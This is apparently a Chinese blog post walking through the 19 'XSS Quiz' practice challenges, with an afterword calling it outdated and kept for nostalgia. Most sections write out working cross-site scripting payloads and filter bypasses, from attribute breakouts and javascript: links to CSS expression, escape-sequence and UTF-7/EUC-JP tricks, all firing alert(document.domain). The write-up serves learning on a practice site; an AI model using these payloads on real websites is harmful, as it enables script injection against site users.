XSS Quiz 练习题做题过程及感悟

XSS Quiz Challenges

最近刚学 XSS。所以新手理解如有错误不当,欢迎批评指正。

警告

本文仅供怀旧,详见后记。

第 1 题

一开始做,使用了 Chrome 浏览器。第一题怎么都做不出来。突然想起来使用 IE,打开 IE11,才成功了。

<script>alert(document.domain);</script>

Challenge 1

第 2 题

第二题,直接用这个不行。

Challenge 2

查看源代码。

Challenge 2

构造一个,把左边的 <input 封掉。

"><script>alert(document.domain);</script><"

Challenge 2

Challenge 2

第 3 题

随便搜点东西

Challenge 3

构造

"</b></form><script>alert(document.domain);</script><from><b>"

也不行。

Challenge 3

Challenge 3

可见他过滤了尖括号和引号。<>" 分别变成了转义符 &lt;&gt;&quot;

我试试用 Jother。也不行

上网查阅资料,找到另一种回避 <>" 的方法:Unicode 编码

<  \u003c
>  \u003e
"  \u0022

也不行。

再试试 Base64

data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+

似乎也不行。跪了

实在不行了。Hint 里写:Hint: The input in text box is properly escaped.

网上的答案写:“但是输入点就不仅这处。”

只好在 F12 Console 里写:

alert(document.domain)

弹窗。不知出题者什么意思。。。估计不是这个意思。

什么叫输入点不仅此处?尝试使用工具 WebScarab:

Challenge 3

改下面的。在 Japan 后加上

<script>alert(document.domain);</script>

弹窗成功。

在 Firefox 的 FireBug 下,直接修改也行。不知道出题的意思是什么。

Challenge 3

第 4 题

发现了这个东西:多出来的

Challenge 4

我把它改为了 type=text,直接输入下文:

"><img src=# onerror=alert(document.domain)><input type="text" value="

成功弹窗。

Challenge 4

第 5 题

一开始没注意有什么。没有过滤。突然发现有长度限制 15 字符。

Challenge 5

直接把 15 改为 999。然后填写,弹窗成功。

Challenge 5

也可以用 WebScarab 拦截 POST 包,修改。可以绕过 15 字符限制。成功弹窗。

Challenge 5

后来看了网上答案,似乎也是用代理拦截。

第 6 题

这次随便输入东西。发现 <> 号被转义为 &lt;&gt;

尝试利用前面的知识:Unicode 编码。似乎不行。

突然想起,用这个代码,不需要尖括号:

" onmouseover=alert(document.domain) align="left

弹窗成功。

看答案是基本一样的。

第 7 题

这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把 &<>"' 这些符号都转义了,变成了 &amp;&lt;&gt;&quot;&#39;

Challenge 7

先来试试前面的 Unicode 和 base64 吧:

测试不行?

"><img src=# onerror=alert(document.domain)><"

看 Hint:Hint: nearly the same... but a bit more tricky.

差点忘了第 6 题的方法。只是引号不能用了。

突然发现 <input>value 没有引号。要啥引号!

123 onmouseover=alert(document.domain)

鼠标滑过,弹窗成功。

看来代码还是要仔细看的。

第 8 题

这次的 Search 变成了 Make a link。果然是输入一个地址,在下面生成一个同样的链接。

那目测要反射型?

Challenge 8

但是测试一下发现,他过滤了引号和尖括号。

" onclick=alert(document.domain) align="left

上面是不行的。

Challenge 8

忍不住看一眼答案,瞬间明白了,直接在 src 里面插代码不就完了。

javascript:alert(document.domain)

这就行了。

第 9 题

看代码,又一个 hidden 的 <input>

Hint: UTF-7 XSS

UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 位编码的邮件网关中传递信息。UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。

Challenge 9

不管了,先上 FireBug 爽一把:

Challenge 9

我看到,这个 hidden 的 <input>name="charset"value="EUC-JP"

EUC-JP 是日语的一种编码方式。

研究答案:

+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-

UTF-7

实际测试:+ 编码为 %2b

p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp

突然在另一个答案上有注释:

现在只有 IE 支持 UTF-7 所以 IE 下通过

我去,用了半天火狐了。转回 IE

可惜 IE 也不行?什么情况?

第 10 题

这次 <>" 都没有过滤。

用了刚才一招:

" onmouseover=alert(document.domain) align="left

没有弹窗。再看看代码,发现 domain 这个词给我过滤了

恐怕要用编码。

对了,上边还有个 hidden 的 input 标签:

<input type="hidden" name="key" value="tubhf22ui/qiq">

这是啥玩意?

搞了半天,忍不住看一眼答案,真是太巧妙了:

" onmouseover=alert(document.domdomainain); x="

domain 过滤掉,两边合起来还是 domain

致以崇高敬意。

第 11 题

这一次什么都没有过滤。不知道会有什么花样。

直接上代码:" onmouseover=alert(document.domdomainain); x="

Challenge 11

我去,我的 mouseover 变为了 xxx。而不是上一局的直接删除。

上一局的方法又不好使了。

再来一招:

"><img src=# onerror=alert(document.domain)><"

我去,error 这个词也过滤了。

我猜 script 也会过滤:

果然。<script></script> 之间的都被删了。

这次的 Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

src="javascript.......

因此也变为了 javaxscript

看答案:使用了 &#09;\t)把 script 隔开了。用

"><a href="javascr&#09;ipt:alert(document.domain);">12</a>

点击链接,火狐会直接打开新窗口

用 IE,却可以弹窗。我勒个去?

第 12 题

这次 value 没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。

答案是:

``onmouseover=alert(document.domain);

一开始两个单引号。但是用火狐还是不行。用 IE 可以。

不对,不是单引号,而是 ESC 下面的键 `,ascii 码为 96(0x60)。叫做反单引号。

答案写:

这一关是把 00 空字符,和 20 空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB 键上面的那个代替。IE 下通过,FF、Chrome 不行。

服了。

第 13 题

一个背景颜色的题,可惜会过滤我的引号。

Challenge 13

关于 style,expression,css 等方面基本不懂。直接看答案吧。

网上某答案写

background-color:#f00;background:url("javascript:alert(document.domain);");

这种方式没有成功

另一个答案写:

在 CSS 样式中利用 expression 实现 JavaScript 中的 onmouseover/onmouseout 事件

aa:expression(onmouseover=function(){alert(document.domain)})

似乎也不行。

跪了

先用 FireBug 弹窗,过了再说。

PS:14 题开始使用 IE8 内核的浏览器时,回过头看一看:

两种都可以弹窗。

第 14 题

还是 style 的题。先看 Hint: s/(url|script|eval|expression)/xxx/ig;

难道是升级版?试了一下,这四个词全变成了 xxx。那么上一题的方法也不能用了。

再次看答案,

cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

看来是在里面插入空白注释来回避审查。

我使用 IE11 和 Firefox 都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的点心浏览器(不是做广告),IE8 内核。一直按 F12 切换内核太麻烦。这次弹窗了。那就决定使用它了。

第 15 题

这是一个 javascript,使用了 document.write

Challenge 15

先上代码:

");alert(document.domain);alert("

发现转义了 <>"

用转义的 ASCII 码:

16 进制

< 0x3c
> 0x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e

发现单个 \ 不成功。使用这个:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

成功弹窗。

PS:

做个小实验,本地 HTML,

<script>
document.write("<script>alert(3)</script>");
</script>

不会弹窗。

<script>
document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");
</script>

上面这样转义,则会弹窗。(Chrome)

第 16 题

目测与 15 题类似。但是 Hint 加了一句。

Hint: "document.write();" and "s/\\x/\\\\x/ig;"

再目测这是跟 16 进制过不去?

\x 会变为 x,而 \\x 还是 \\x\\\x 变为 \\x

试试十进制、八进制啥的。

<> 的十进制是 60 和 62。

\60script\62alert(document.domain);\60/script\62

仍然过滤了 \。再次变为两个:

\\60script\\62alert(document.domain);\\60/script\\62

仍然不行。\\6 集体消失。

试一下 Unicode。参考前面的,

< \u003c
> \u003e
" \u0022
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

可以了。

第 17 题

这一题有两个框。

Challenge 17

看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的 IE 都已经修复了。

提示:multi-byte character

euc-jp 的编码范围:

byte 1 為 8E 時,為 2 byte 編碼,byte 2 範圍為 A1-DF

byte 1 範圍為 A1-FE 時,為 2 byte 編碼,byte 2 範圍為 A1-FE

byte 1 為 8F 時為 3 byte 編碼,byte 2 與 byte 3 範圍均為 A1-FE

两个表单元素都提交 %A7 闭合最后的双引号,查看源码成功了,为什么 UI 上去没成功?无奈直接在地址栏:javascript:alert(document.domain);

现在发现原来是浏览器版本问题,别用 IE8 了过这个。

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

干脆跳过拉倒。

第 18 题

同样问题。

跳过拉倒。

第 19 题

这一题没有了 input 的框。只有一个指向自己的 link。

那怎么办,直接 console 输入拉倒。(在地址栏输入 javascript:alert(document.domain) 也行)

全部通关。

后记

这篇文章是洒家几年前刚开始学 XSS 的时候写的,那时洒家对 XSS 的理解不是很深,都是半懂不懂地一顿乱试。另外,这篇文章就是个流水账,内容全都是口语,句子都不通顺,还有一些错别字和一些不知道什么意思的多余字符串。

洒家对着多余的字符串百思不得其解。搜索了一下,意外发现我这篇文章已经被翻译成多种文字了,可惜都是机器翻译。

Spider

这一套题目即使在当时看来也有点老了,有的题目考察的是旧版 IE 的特性,有的题目场景好像都是 self-XSS。简单看了一下,一些修改页面元素、抓包改包才能注入 JavaScript 代码的题,应该是要结合 CSRF 才有现实利用价值。

因此这篇文章仅供怀旧。

写于 2020 年 11 月迁移老博客时。


Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top